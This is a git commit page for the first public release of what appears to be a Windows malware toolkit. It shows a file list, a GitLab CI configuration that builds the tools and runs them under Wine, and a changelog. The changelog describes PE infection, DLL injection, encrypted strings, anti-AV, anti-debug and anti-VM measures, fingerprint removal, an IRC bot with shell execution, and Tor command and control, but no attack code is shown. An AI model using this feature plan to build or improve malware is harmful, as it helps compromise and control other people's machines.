aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorToni Uhlig <matzeton@googlemail.com>2020-05-24 16:48:22 +0200
committerToni Uhlig <matzeton@googlemail.com>2020-05-25 21:57:14 +0200
commit31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch)
tree16e789c7d68608831b498f41f54d9482b82a711a
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
-rw-r--r--.gitlab-ci.yml240
-rw-r--r--.gitmodules9
-rw-r--r--CHANGELOG524
-rw-r--r--CMakeLists.txt254
-rw-r--r--CONTRIBUTING.md2
-rw-r--r--INSTALL28
-rw-r--r--LICENSE1
-rw-r--r--README.md127
-rw-r--r--TODO18
-rwxr-xr-xbatch/genChangelog.sh19
-rwxr-xr-xbatch/genPatchFromDirs.sh34
-rwxr-xr-xbatch/genShellcode.py88
-rwxr-xr-xbatch/gpgEncryptProject.sh34
-rwxr-xr-xbatch/millerCncOnionHost.sh26
-rwxr-xr-xbatch/millerSectionFromInclude.sh15
-rw-r--r--batch/miller_linker_script.ld88
-rwxr-xr-xbatch/nullDataDirs.py23
-rwxr-xr-xbatch/old/bindiff.sh12
-rwxr-xr-xbatch/old/genShellcode.sh61
-rwxr-xr-xbatch/old/genhex.sh18
-rwxr-xr-xbatch/patchLoader.py465
-rwxr-xr-xbatch/pycrypt_test.py52
-rwxr-xr-xbatch/removeDosStub.py63
-rwxr-xr-xbatch/removeGccVersion.py63
-rw-r--r--cmake/CMakeBuildDeps.cmake8
-rw-r--r--cmake/CMakeMillerBuild.cmake127
-rw-r--r--cmake/CMakeMillerFuncs.cmake85
-rw-r--r--cmake/CMakeMillerHostTools.cmake119
-rw-r--r--cmake/CMakeMillerTests.cmake28
-rw-r--r--cmake/CMakeMillerTools.cmake136
-rw-r--r--cmake/CheckCSourceCompiles.cmake133
-rw-r--r--deps/.gitignore5
-rwxr-xr-xdeps/config.sh29
-rw-r--r--deps/gcc-4.9.4-naked.patch66
-rwxr-xr-xdeps/makedeps.sh495
-rw-r--r--deps/sha512.chksms12
-rw-r--r--deps/tor-0.3.0.9-libtor.patch932
-rwxr-xr-xdeps/torconf.sh28
-rw-r--r--doc/apps.diabin0 -> 1817 bytes
-rw-r--r--doc/apps.pngbin0 -> 16095 bytes
-rw-r--r--doc/work_sample.pdfbin0 -> 149180 bytes
-rw-r--r--doc/work_sample.tex1004
-rw-r--r--include/aes.h36
-rw-r--r--include/aes_strings.h8
-rw-r--r--include/compat.h207
-rw-r--r--include/crypt.h47
-rw-r--r--include/crypt_strings.h80
-rw-r--r--include/disasm.h9
-rw-r--r--include/distorm/distorm.h475
-rw-r--r--include/distorm/mnemonics.h301
-rw-r--r--include/file.h22
-rw-r--r--include/http.h140
-rw-r--r--include/irc.h35
-rw-r--r--include/loader.h39
-rw-r--r--include/log.h24
-rw-r--r--include/math.h19
-rw-r--r--include/patch.h21
-rw-r--r--include/pe_infect.h86
-rw-r--r--include/snprintf.h41
-rw-r--r--include/utils.h90
-rw-r--r--include/xor_strings.h190
-rw-r--r--source/aes.c405
-rw-r--r--source/compat.c781
-rw-r--r--source/crt_x86.asm52
-rw-r--r--source/crypt.c147
-rw-r--r--source/crypt_strings.c189
-rw-r--r--source/decrypter_x86.asm101
-rw-r--r--source/disasm.c24
-rw-r--r--source/distorm/config.h168
-rw-r--r--source/distorm/decoder.c651
-rw-r--r--source/distorm/decoder.h33
-rw-r--r--source/distorm/distorm.c409
-rw-r--r--source/distorm/instructions.c598
-rw-r--r--source/distorm/instructions.h463
-rw-r--r--source/distorm/insts.c7939
-rw-r--r--source/distorm/insts.h64
-rw-r--r--source/distorm/mnemonics.c284
-rw-r--r--source/distorm/operands.c1291
-rw-r--r--source/distorm/operands.h28
-rw-r--r--source/distorm/prefix.c368
-rw-r--r--source/distorm/prefix.h64
-rw-r--r--source/distorm/textdefs.c173
-rw-r--r--source/distorm/textdefs.h57
-rw-r--r--source/distorm/wstring.c48
-rw-r--r--source/distorm/wstring.h35
-rw-r--r--source/distorm/x86defs.h82
-rw-r--r--source/file.c116
-rw-r--r--source/http.c671
-rw-r--r--source/irc.c402
-rw-r--r--source/loader_x86.asm590
-rw-r--r--source/main.c314
-rw-r--r--source/math.c135
-rw-r--r--source/patch.c247
-rw-r--r--source/pe_infect.c731
-rw-r--r--source/snprintf.c185
-rw-r--r--source/tests/run_tests.c106
-rw-r--r--source/tests/test_aes.c100
-rw-r--r--source/tests/test_asm.c51
-rw-r--r--source/tests/test_compat.c152
-rw-r--r--source/tests/test_crypt.c44
-rw-r--r--source/tests/test_http.c279
-rw-r--r--source/tests/test_mem.c17
-rw-r--r--source/tests/test_pe.c66
-rw-r--r--source/tests/test_utils.c226
-rw-r--r--source/tests/tests.h128
-rw-r--r--source/tools/decrypter.c116
-rw-r--r--source/tools/disasm.c234
-rw-r--r--source/tools/dummy.c34
-rw-r--r--source/tools/dummy_gui/callbacks.c94
-rw-r--r--source/tools/dummy_gui/callbacks.h12
-rw-r--r--source/tools/dummy_gui/res/Application.icobin0 -> 23558 bytes
-rw-r--r--source/tools/dummy_gui/res/Application.manifest16
-rw-r--r--source/tools/dummy_gui/res/resource.rc73
-rw-r--r--source/tools/dummy_gui/resource.h10
-rw-r--r--source/tools/dummy_gui/winmain.c83
-rw-r--r--source/tools/helper.c150
-rw-r--r--source/tools/helper.h37
-rw-r--r--source/tools/host/CMakeLists.txt106
-rw-r--r--source/tools/host/go/cnclib/miller_consts.go98
-rw-r--r--source/tools/host/go/cnclib/miller_victim.go165
-rw-r--r--source/tools/host/go/cncmaster/Makefile37
m---------source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux0
-rw-r--r--source/tools/host/go/cncmaster/http.go29
-rw-r--r--source/tools/host/go/cncmaster/main.go31
-rw-r--r--source/tools/host/go/cncproxy/Makefile42
m---------source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux0
m---------source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker0
-rw-r--r--source/tools/host/go/cncproxy/http.go224
-rw-r--r--source/tools/host/go/cncproxy/main.go48
-rw-r--r--source/tools/host/go/cncproxy/manager.go84
-rw-r--r--source/tools/host/hdr_crypt.c417
-rw-r--r--source/tools/host/old/file_crypt.c802
-rw-r--r--source/tools/host/old/pyhttp.c188
-rw-r--r--source/tools/host/pycrypt.c250
-rw-r--r--source/tools/host/pyloader.c114
-rw-r--r--source/tools/httpquery.c162
-rw-r--r--source/tools/ircmsg.c37
-rw-r--r--source/tools/libtor.c52
-rw-r--r--source/tools/loader_base.c102
-rw-r--r--source/tools/loader_decrypt.c58
-rw-r--r--source/tools/loadmodule.c57
-rw-r--r--source/tools/old/codecave.c253
-rw-r--r--source/tools/old/loadlib.c397
-rw-r--r--source/tools/old/shellcode.c46
-rw-r--r--source/tools/pipe_client.c83
-rw-r--r--source/tools/pipe_server.c164
-rw-r--r--source/tools/runbin.c217
-rw-r--r--source/utils.c434
148 files changed, 31911 insertions, 0 deletions
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
new file mode 100644
index 0000000..c35f2e6
--- /dev/null
+++ b/.gitlab-ci.yml
@@ -0,0 +1,240 @@
+image: debian:stable
+
+stages:
+ - deps
+ - build
+ - test-host
+ - test-wine
+
+cache:
+ key: toolchain
+ paths:
+ - deps/sysroot/
+
+makedeps:
+ script:
+ - if [ "x${FORCE_TOOLCHAIN_REBUILD:-}" != "x" ]; then rm -rf deps/sysroot; fi
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils wget tar gzip bzip2 patch cmake make binutils gcc g++ autoconf automake flex bison texinfo libz-dev libssl-dev libevent-dev
+ - export TERM=linux && { test -d deps/sysroot || deps/makedeps.sh; }
+ artifacts:
+ expire_in: 1 week
+ paths:
+ - deps/build.log
+ stage: deps
+ only:
+ - master
+ tags:
+ - docker
+ - multi-runner
+
+makedeps-again:
+ script:
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils wget tar gzip bzip2 patch cmake make binutils gcc g++ autoconf automake flex bison texinfo libz-dev libssl-dev libevent-dev
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq git
+ - rm -rf deps
+ - git clean -df .
+ - git checkout .
+ - export TERM=linux && deps/makedeps.sh
+ artifacts:
+ expire_in: 1 week
+ paths:
+ - deps/build.log
+ stage: deps
+ only:
+ - master
+ when: manual
+ allow_failure: true
+ tags:
+ - docker
+ - multi-runner
+
+build:
+ script:
+ - ls -al deps
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils flex bison texinfo cmake make
+ - export TERM=linux && cmake .
+ - export TERM=linux && make
+ artifacts:
+ expire_in: 1 week
+ paths:
+ - bin/
+ stage: build
+ only:
+ - master
+ dependencies:
+ - makedeps
+ tags:
+ - docker
+ - multi-runner
+
+build-debug:
+ script:
+ - ls -al deps
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils flex bison texinfo cmake make
+ - export TERM=linux && cmake -DBUILD_PYDIST=1 -DBUILD_ALL_TOOLS=1 -DBUILD_TESTS=1 -DEXTRA_VERBOSE=1 -DHTTP_LOCALHOST=1 -DINFECT_DUMMY=1 .
+ - export TERM=linux && make
+ artifacts:
+ expire_in: 1 week
+ paths:
+ - bin/
+ stage: build
+ only:
+ - master
+ dependencies:
+ - makedeps
+ tags:
+ - docker
+ - multi-runner
+
+build-release:
+ script:
+ - ls -al deps
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils flex bison texinfo cmake make
+ - export TERM=linux && cmake -DBUILD_ALL_TOOLS=1 -DBUILD_TESTS=1 .
+ - export TERM=linux && make
+ artifacts:
+ expire_in: 1 week
+ paths:
+ - bin/
+ stage: build
+ only:
+ - master
+ dependencies:
+ - makedeps
+ tags:
+ - docker
+ - multi-runner
+
+tests-debug:
+ cache: {}
+ script:
+ - dpkg --add-architecture i386
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq wine wine32 wine64 xvfb
+ - nohup Xvfb :99 &
+ - export XVFB_PID=$! && export DISPLAY=:99
+ - wine bin/tests.exe 1>&2
+ - wine bin/loadmodule.exe bin/libw32miller-shared.dll
+ - wine bin/loadmodule.exe bin/libw32miller_pre-shared.dll
+ - wine bin/decrypter.exe bin/libw32miller-shared.dll
+ - wine bin/decrypter.exe bin/libw32miller_pre-shared.dll
+ - wine bin/decrypter.exe bin/loader_base.exe
+ - wine bin/decrypter.exe bin/loader_base_enc.exe
+ - wine bin/decrypter.exe bin/release.exe
+ - wine bin/loader_decrypt.exe >/dev/null
+ - wine bin/disasm.exe -fbin/release.exe >/dev/null
+ - kill -SIGKILL ${XVFB_PID}
+ stage: test-wine
+ only:
+ - master
+ dependencies:
+ - build-debug
+ tags:
+ - docker
+ - multi-runner
+
+tests-release:
+ cache: {}
+ script:
+ - dpkg --add-architecture i386
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq wine wine32 wine64 xvfb
+ - nohup Xvfb :99 &
+ - export XVFB_PID=$! && export DISPLAY=:99
+ - wine bin/tests.exe 1>&2 || { tail -n10 tests.log; false; }
+ - wine bin/loadmodule.exe bin/libw32miller-shared.dll
+ - wine bin/loadmodule.exe bin/libw32miller_pre-shared.dll
+ - kill -SIGKILL ${XVFB_PID}
+ stage: test-wine
+ only:
+ - master
+ dependencies:
+ - build-release
+ tags:
+ - docker
+ - multi-runner
+
+tests-host-tools:
+ script:
+ - deps/sysroot/bin/python2.7 batch/pycrypt_test.py 128
+ - bin/strings-host
+ - bin/hdr_crypt-host xor include/xor_strings.h .tmp_xor_strings_gen.h XOR_KEY
+ - echo 'import sys, imp; mod = imp.load_dynamic("pyloader", "bin/pyloader"); print mod; mod.info()' | deps/sysroot/bin/python2.7
+ - echo 'import sys, imp; mod = imp.load_dynamic("pycrypt", "bin/pycrypt"); print mod; mod.info()' | deps/sysroot/bin/python2.7
+ stage: test-host
+ only:
+ - master
+ dependencies:
+ - build-release
+ tags:
+ - docker
+ - multi-runner
+
+tests-release-mdk:
+ script:
+ - dpkg --add-architecture i386
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq wine wine32 wine64 xvfb
+ - nohup Xvfb :99 &
+ - export XVFB_PID=$!
+ - export DISPLAY=:99
+ - wine bin/dummy.exe 5
+ - wine bin/release.exe 5 &
+ - export WINBIN_PID=$!
+ - sleep 6 && { kill -SIGKILL ${WINBIN_PID} || true; }
+ - sleep 1
+ - wine bin/libtor.exe deps/sysroot/i686-w64-mingw32/lib/libtor.dll &
+ - export WINTOR_PID=$!
+ - sleep 10 && { kill -SIGKILL ${WINTOR_PID} || true; }
+ - exit
+ stage: test-wine
+ only:
+ - master
+ dependencies:
+ - build-release
+ tags:
+ - docker
+ - multi-runner
+
+tests-debug-mdk:
+ script:
+ - dpkg --add-architecture i386
+ - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq wine wine32 wine64 xvfb
+ - nohup Xvfb :99 &
+ - export XVFB_PID=$!
+ - export DISPLAY=:99
+ - cd bin
+ - wine dummy.exe 5
+ - wine loader_base_enc.exe 15 &
+ - export WINBIN_PID=$!
+ - sleep 16 && { kill -SIGKILL ${WINBIN_PID} || true; }
+ - sleep 1
+ - wine dummy.exe 5
+ - exit
+ stage: test-wine
+ only:
+ - master
+ dependencies:
+ - build-debug
+ tags:
+ - docker
+ - multi-runner
+
+sast:
+ stage: test-wine
+ image: docker:stable
+ variables:
+ DOCKER_DRIVER: overlay2
+ when: manual
+ allow_failure: true
+ services:
+ - docker:stable-dind
+ script:
+ - export SP_VERSION=$(echo "$CI_SERVER_VERSION" | sed 's/^\([0-9]*\)\.\([0-9]*\).*/\1-\2-stable/')
+ - docker run
+ --env SAST_CONFIDENCE_LEVEL="${SAST_CONFIDENCE_LEVEL:-3}"
+ --env SAST_ANALYZER_IMAGES=find-sec-bugs,flawfinder
+ --volume "$PWD:/code"
+ --volume /var/run/docker.sock:/var/run/docker.sock
+ "registry.gitlab.com/gitlab-org/security-products/sast:$SP_VERSION" /app/bin/run /code
+ artifacts:
+ expire_in: 1 week
+ paths: [gl-sast-report.json]
+
diff --git a/.gitmodules b/.gitmodules
new file mode 100644
index 0000000..d53a515
--- /dev/null
+++ b/.gitmodules
@@ -0,0 +1,9 @@
+[submodule "source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux"]
+ path = source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux
+ url = https://github.com/gorilla/mux
+[submodule "source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux"]
+ path = source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux
+ url = https://github.com/gorilla/mux
+[submodule "source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker"]
+ path = source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker
+ url = https://github.com/zhuangsirui/binpacker
diff --git a/CHANGELOG b/CHANGELOG
new file mode 100644
index 0000000..5c2d71d
--- /dev/null
+++ b/CHANGELOG
@@ -0,0 +1,524 @@
+CHANGELOG
+----------------------
+
+[]
+ * made compat.c great agein and using generic string factory
+ * fixed bug in addStrEntry(...) for root section
+ * using a centralised string factory for decrypting XOR'd strings
+ * improved string decryption, more string sections and section marker (only for kernel32 funcs)
+ * made tests/decrypter/disasm/loader_decrypt build optional
+ * loader_decrypt uses additional dbg version
+ * enumerate all logical devices and get some information + tests
+ * _GetLogicalDriveStringsA, _GetDriveTypeA, _GetDiskFreeSpaceA, re-enabled anti av/debug
+ * using generic and easy2use string decryption factory, added string decryption tester, upgraded hdr_crypt to add more information (struct/enum defines)
+ * bintostr buf should be a const char*
+ * always align encrypted XOR'd buffers to 4 byte (for now, might be changed to 8 in the future)
+ * introduced string decryption factory
+ * added release.exe target (uses DLL/LOADER86 without _DEBUG and _PRE_RELEASE), cleaned up loader.h/main.c
+ * LOADER_X86 uses same section as debug version, `strip -R` may sometimes exit with a non-zero value (dunno why)
+ * irc: private message (+binary,+buffered), bot control utils: is(space|upper|lower|alpha|digit) + __xbintostr(...) has newSizPtr arg
+ * TODOs 'n TYPOs
+ * using _VirtualFree in DLL for loader allocated memory
+ * irc -> GetVolumeInfo(...)
+ * fixed compat ptr check fail
+ * missing important TODO
+ * updated TODOs, encrypted SOCK(STR|CMD)s
+ * disabled SO_RCVTIMEO (should not be less than the irc server PING time!)
+ * using more flexible GETPROC(...) macro, added information gathering and shell execute code
+ * using setsockopt(...) to set recv/send buffer_size/timeouts
+ * removed vasprintf from compat (was a hell of a bugload), replaced it with mini_snprintf
+ * added simple compat __xprintf(...) test
+ * added MYASSERT_SILENT && windows null device
+ * using CONTEXT_FULL instead of CONTEXT_CONTROL, initSocket(...) in NetThread and not before
+ * removed unused ExitProcess(...), replaces GetProcessHeap(...) with HeapCreate(...)
+ * FormatMessage is useless, added tests, code cleanup, TODO: fix Heap error (source currently unknown)
+ * _SwitchToThread() + startThread(...) + hNetThread
+ * irc testing /3
+ * irc testing /2
+ * moved SWITCH_ENDIANESS to utils.h and renamed it to SWAP_ENDIANESS32, also added 16 bit version, removed unused bswap(...)
+ * irc testing
+ * added <time.h> back if non-mingw build
+ * improved compat header, other include cleanups
+ * new tool binary: ircmsg (test irc module)
+ * new tool binary: ircmsg (test irc module)
+ * compat include fixups (compat.h) is now *MAIN* header file
+ * added irc module in DLL build + compat fixups
+ * updated README && TODO
+ * ported small irc bot
+ * added `const` qualifier for code readability
+ * iv/key in xor32n_pcbc_crypt_buf(...) should be const
+ * patching works now from already encrypted/patched binaries
+ * validating PE header e_lfanew (>=0x40 and <=0x80)
+ * gimme more `comments`
+ * loadmodule works now as expected
+ * runbin works with current DLL
+ * full dll encryption
+ * removing fingerprints (GCC/LD version info) from all created miller binaries (dll/bin)
+ * more readable code indentation
+ * DLL loader patching: XOR key/iv gen, Loader Strings encryption
+ * added rebuild warnings
+ * full Multithreading enabled
+ * dummy waits before it terminates (may be useful for multithreading tests)
+ * DLL Multithreading support
+ * added Thread/IPC functions
+ * added warnings + names for thread/ipc functions
+ * loader uses rep movsd instead if slower rep movsb
+ * VirtualAlloc uses different PAGE_ACCESS flags
+ * Removed unused loader data e.g. imageBase, sections adr/siz etc
+ * DLL Encryption done (TODO: fix encryption of infected binaries, see source/patch.c)
+ * removing *complete* DosStub
+ * README/doc update
+ * introduced new loader data: flags (DLL Flags)
+ * patchLoader: String Encryption/Patching
+ * string encryption works (TODO: PATCHING!)
+ * pycrypt_test: check {plain|cipher}text length
+ * bug fixed: wrong iv/key size in pycrypt
+ * get 32 bit uint buffer
+ * pyloader/pycrypt prep
+ * cosmetics + pyloader macro funcs
+ * file_crypt not used anymore, replaced with pycrypt
+ * pycrypt+test
+ * pycrypt: fixed memory leaks
+ * pycrypt: fixed aes ctx alloc bug CMake: added crypt.c as dep (XOR)
+ * better python module integration, pycrypt module init
+ * patch loader section with dll data
+ * removed unused infection video
+ * added own GetProcAdr function
+ * install *.bin files, rundll -> runbin
+ * install *.bin files, rundll -> runbin
+ * preparations for dll section encryption
+ * preparations for dll section encryption
+ * crypt dll with offset and size
+ * crypt dll with offset and size
+ * better host-tools building
+ * better host-tools building
+ * removed loader nops and use two different loaders (release and pre-release)
+ * removed loader nops and use two different loaders (release and pre-release)
+ * genShellcode accepts section as argument, removed loader_noPE32 build (useless in near future)
+ * genShellcode accepts section as argument, removed loader_noPE32 build (useless in near future)
+ * more loader targets, loader_base_enc
+ * more loader targets, loader_base_enc
+ * shellcode generator append mode
+ * shellcode generator append mode
+ * extended loader patching for NOPE32 builds (adrOfEntry,imageBase,sizOfImage,sizOfHeader)
+ * extended loader patching for NOPE32 builds (adrOfEntry,imageBase,sizOfImage,sizOfHeader)
+ * get binary data from PE32 e.g. imagebase, adrofentry, etc.
+ * get binary data from PE32 e.g. imagebase, adrofentry, etc.
+ * get objdump data like adrOfEntry, imageBase, etc.
+ * get objdump data like adrOfEntry, imageBase, etc.
+ * patchLoader.py uses generated pyloader.so to modify the loader trailer
+ * patchLoader.py uses generated pyloader.so to modify the loader trailer
+ * added infectable dummy_gui
+ * added infectable dummy_gui
+ * pyloader.so python module (patchLoader.py can access struct loader_x86_data easily)
+ * pyloader.so python module (patchLoader.py can access struct loader_x86_data easily)
+ * loader_base.exe: use w32miller.bin as dll payload
+ * loader_base.exe: use w32miller.bin as dll payload
+ * ivkeysize macro, dynamic stack memory reserve, rep movsd for string copy
+ * ivkeysize macro, dynamic stack memory reserve, rep movsd for string copy
+ * loader reserved stackmem can now modified by the dll
+ * loader reserved stackmem can now modified by the dll
+ * use pipes or stdout for debugging msgs
+ * use pipes or stdout for debugging msgs
+ * tell cmake about generated headers, compile pipe_(server|client) only if needed
+ * tell cmake about generated headers, compile pipe_(server|client) only if needed
+ * pipe_(server|client) output , use default miller path , strings , hdr crypt parses double (escape) backslash (..\\..)
+ * pipe_(server|client) output , use default miller path , strings , hdr crypt parses double (escape) backslash (..\\..)
+ * dont force user options, enable pipes options (-D_USE_PIPES=1)
+ * dont force user options, enable pipes options (-D_USE_PIPES=1)
+ * fixed ESI_PTRDLL and ESI_SIZDLL offsets, using faster rep movsb instead of slower __ldr_memcpy implementation
+ * fixed ESI_PTRDLL and ESI_SIZDLL offsets, using faster rep movsb instead of slower __ldr_memcpy implementation
+ * removing gcc fingerprint from distorm objects
+ * removing gcc fingerprint from distorm objects
+ * added simple named pipe server/client (future use in malware for app-to-user and app-to-app(IPC) communication)
+ * added simple named pipe server/client (future use in malware for app-to-user and app-to-app(IPC) communication)
+ * new loader prep..
+ * new loader prep..
+ * crypt.c tests
+ * crypt.c tests
+ * output host-tools{CMakeFiles, Makefile, etc} in ${BUILD_DIR}/host-tools instead of ${BUILD_DIR}/bin/host-tools
+ * output host-tools{CMakeFiles, Makefile, etc} in ${BUILD_DIR}/host-tools instead of ${BUILD_DIR}/bin/host-tools
+ * removed useless loader macros, additional pe loader tests
+ * removed useless loader macros, additional pe loader tests
+ * __attribute__((gcc_struct)) added (don't use ms_struct for this project!)
+ * __attribute__((gcc_struct)) added (don't use ms_struct for this project!)
+ * __printByteBuf allowed in tests for debugging purposes
+ * __printByteBuf allowed in tests for debugging purposes
+ * add print byte buffer option (aLOT output!)
+ * add print byte buffer option (aLOT output!)
+ * nasm: dynamic includes
+ * nasm: dynamic includes
+ * optimised host-tools cmakelists
+ * optimised host-tools cmakelists
+ * string (en|de)cryption fully works
+ * string (en|de)cryption fully works
+ * host-tools force target
+ * host-tools force target
+ * sub-cmake base build (host-tools)
+ * sub-cmake base build (host-tools)
+ * loader string decryption works
+ * loader string decryption works
+ * endmarker check + test
+ * endmarker check + test
+ * better error printing
+ * better error printing
+ * endmarker check/test, loader compensate _DEBUG instructions with NOPs
+ * endmarker check/test, loader compensate _DEBUG instructions with NOPs
+ * removed static lib build (not rly used)
+ * removed static lib build (not rly used)
+ * host tools got their chance, not needed in this directory anymore
+ * host tools got their chance, not needed in this directory anymore
+ * fixed typ0
+ * fixed typ0
+ * build host tools with source/tools/host/CMakeLists.txt, %include decrypter source (dont build two *.obj files since it fucks up my loader)
+ * build host tools with source/tools/host/CMakeLists.txt, %include decrypter source (dont build two *.obj files since it fucks up my loader)
+ * define _LOADER_MARKER for all modules
+ * define _LOADER_MARKER for all modules
+ * patcher prints now loader offset to console (if pre-release)
+ * patcher prints now loader offset to console (if pre-release)
+ * host tools CMakeLists (builds hdr_crypt && file_crypt for host system)
+ * host tools CMakeLists (builds hdr_crypt && file_crypt for host system)
+ * cmake encrypt loader strings prep, file_crypt searches for endmarker if -l missing
+ * cmake encrypt loader strings prep, file_crypt searches for endmarker if -l missing
+ * decrypter prep
+ * decrypter prep
+ * decrypter prep
+ * decrypter prep
+ * endmarker search + ldr dll crypt (does not modify loader)
+ * endmarker search + ldr dll crypt (does not modify loader)
+ * show argument in usage, prep for dll encryption
+ * show argument in usage, prep for dll encryption
+ * superfluous xor32n_pcbc_decrypter removed
+ * superfluous xor32n_pcbc_decrypter removed
+ * loader string encryption finally works
+ * loader string encryption finally works
+ * linux mmap'd file, encrypt loader strings
+ * linux mmap'd file, encrypt loader strings
+ * loader string encryption iv/key-size
+ * loader string encryption iv/key-size
+ * better binary diff (unified)
+ * better binary diff (unified)
+ * file_crypt encrypt loader strings option
+ * file_crypt encrypt loader strings option
+ * better hex string regex
+ * better hex string regex
+ * file crypter reads loader contents and encrypt loader strings, TODO: write part encrypted strings to disk
+ * file crypter reads loader contents and encrypt loader strings, TODO: write part encrypted strings to disk
+ * loader is now linux-gcc compatible, file_crypt uses endmarker
+ * loader is now linux-gcc compatible, file_crypt uses endmarker
+ * patchLoader shows marker offset
+ * patchLoader shows marker offset
+ * loader ENDMARKER is now more dynamicially e.g. it can be specified by cmake
+ * loader ENDMARKER is now more dynamicially e.g. it can be specified by cmake
+ * decrypter compilation for i386 target only (atm)
+ * decrypter compilation for i386 target only (atm)
+ * file crypter iv/key hex str arguments
+ * file crypter iv/key hex str arguments
+ * file crypter key/iv/offset/size prep
+ * file crypter key/iv/offset/size prep
+ * loader patching is now done by section name and endmarker
+ * loader patching is now done by section name and endmarker
+ * better loader patching (argument parsing, controlled output, etc)
+ * better loader patching (argument parsing, controlled output, etc)
+ * better decrypter output
+ * better decrypter output
+ * exported mapfile linux/mingw
+ * exported mapfile linux/mingw
+ * xor32n_pcbc asm x86 decrypter
+ * xor32n_pcbc asm x86 decrypter
+ * decrypter stuff
+ * decrypter stuff
+ * helper function module for tools
+ * helper function module for tools
+ * new module crypt.c: xor32 stuff, refactoring
+ * new module crypt.c: xor32 stuff, refactoring
+ * crypt module
+ * crypt module
+ * decrypter-asm/-tool skeleton
+ * decrypter-asm/-tool skeleton
+ * dll crypt done
+ * dll crypt done
+ * loader: prep for xor32 string encryption
+ * loader: prep for xor32 string encryption
+ * objdump should not ignore zeroes, loader byte pad
+ * objdump should not ignore zeroes, loader byte pad
+ * patchLoader.py modifies loader conforming to loader_x86.h
+ * patchLoader.py modifies loader conforming to loader_x86.h
+ * dll encryption preparations
+ * dll encryption preparations
+ * dont patch instructions which changes eip and uses relative addressing (will be fixed in the future, TODO)
+ * dont patch instructions which changes eip and uses relative addressing (will be fixed in the future, TODO)
+ * halfByte should be 1 byte (uchar) small instead of 4 bytes (int)
+ * halfByte should be 1 byte (uchar) small instead of 4 bytes (int)
+ * added objdump command output + todo
+ * added objdump command output + todo
+ * xor32n_pcbc_decrypt_buf
+ * xor32n_pcbc_decrypt_buf
+ * xor32n_pcbc encryption works
+ * xor32n_pcbc encryption works
+ * xor32pcbc (en|de)cryption
+ * xor32pcbc (en|de)cryption
+ * fixed bintostr halfbyte calc bug (wrong typesize)
+ * fixed bintostr halfbyte calc bug (wrong typesize)
+ * xor32 (en|de)cryption
+ * xor32 (en|de)cryption
+ * fixed issues on ubuntu
+ * fixed issues on ubuntu
+ * better output
+ * better output
+ * mem.c not used anymore except for XMemAlign
+ * mem.c not used anymore except for XMemAlign
+ * dynamically generate (DLL|DLL)SECTION from include/xor_strings.h
+ * dynamically generate (DLL|DLL)SECTION from include/xor_strings.h
+ * anti(debug|vm) is now disabled if pre-release
+ * anti(debug|vm) is now disabled if pre-release
+ * fixed invalid ptr free
+ * fixed invalid ptr free
+ * malware dll injection testvideo
+ * re-alloc bugfix for bAddSection
+ * compat cosmetics + GetCurrentProcessId,AttachConsole for Pre-Releases, added definitions deny including some annoying header files
+ * cosmetics + latex work sample (for presentation purposes)
+ * markdown brainfuck
+ * typ0
+ * changelog, markdown cosmetics
+ * cosmetics + set number of simlultaneous build jobs in deps/makedeps.sh
+ * cosmetics
+ * README.md update
+ * display correct filename
+ * anti vm counter measures, LoadLibraryA support, generate random hex string
+ * fixed cmake deps, 'get miller section from include'-script
+ * comments
+ * Xor32 hash gen
+ * get miller dll section name dynamically from include/xor_strings.h
+ * fixed wrong header include
+ * multijob build errors fixed
+ * fixed shellcode bug (hardcoded path), some basic error detection
+ * cmake support for out-of-source-dir builds
+ * moved genhash,randstring to utils, dll needs it too
+ * basic irc bot modified (WSA compat)
+ * changed section names, dll_crypt cleanup
+ * added irc bot stub (needs definitly some modification e.g. support threads?)
+ * base64 encode
+ * fixed wrong pe-hdr calculations, patching support works, loader struct initialised correctly
+ * README update
+ * CHANGELOG, CONTRIBUTING.md visuals
+ * README, TODO, DOC update
+ * basic code injection/patching works
+ * OffsetToRva(...), PtrToOffset(...), PtrToRva(...), added test cases
+ * print a binary buffer
+ * added some useless bytes to the loader (so it can be dissambled correctly)
+ * disabled nasm optimisations
+ * fixed shellcode gen bug
+ * cmake depend+custom cmd fix
+ * gpg encrypt git archive
+ * update README /4
+ * update README /3
+ * update REAMDE /2
+ * update README
+ * cmake improvments, genShellcode supports multiprocess build job
+ * fixed aes for x64 hosts
+ * loader decrypter, cmake improvments, preparation for aes.c compilation on x64 systems
+ * mingw compat header not useable, crypt compile under gnu linux, aes/utils does not require mingw to compile
+ * build log + timestamps
+ * build host gcc (non-mingw), used for pre-compile encryption + gcc4.9.4
+ * cmake stuff
+ * build log + timestamps
+ * cmake stuff /11
+ * cmake stuff /10
+ * build host gcc (non-mingw), used for pre-compile encryption
+ * cmake stuff /9
+ * cmake stuff /8
+ * cmake stuff /7
+ * cmake stuff /6
+ * cmake stuiff /5
+ * cmake stuff /4
+ * cmake stuff /3
+ * cmake stuff /2
+ * cmake stuff
+ * use ${PYTHON} binary
+ * bump to Python-2.7.13
+ * multiplatform compatiblity
+ * python2.7 deps
+ * added mingw compat for non mingw builds
+ * colored output
+ * install stripped deps
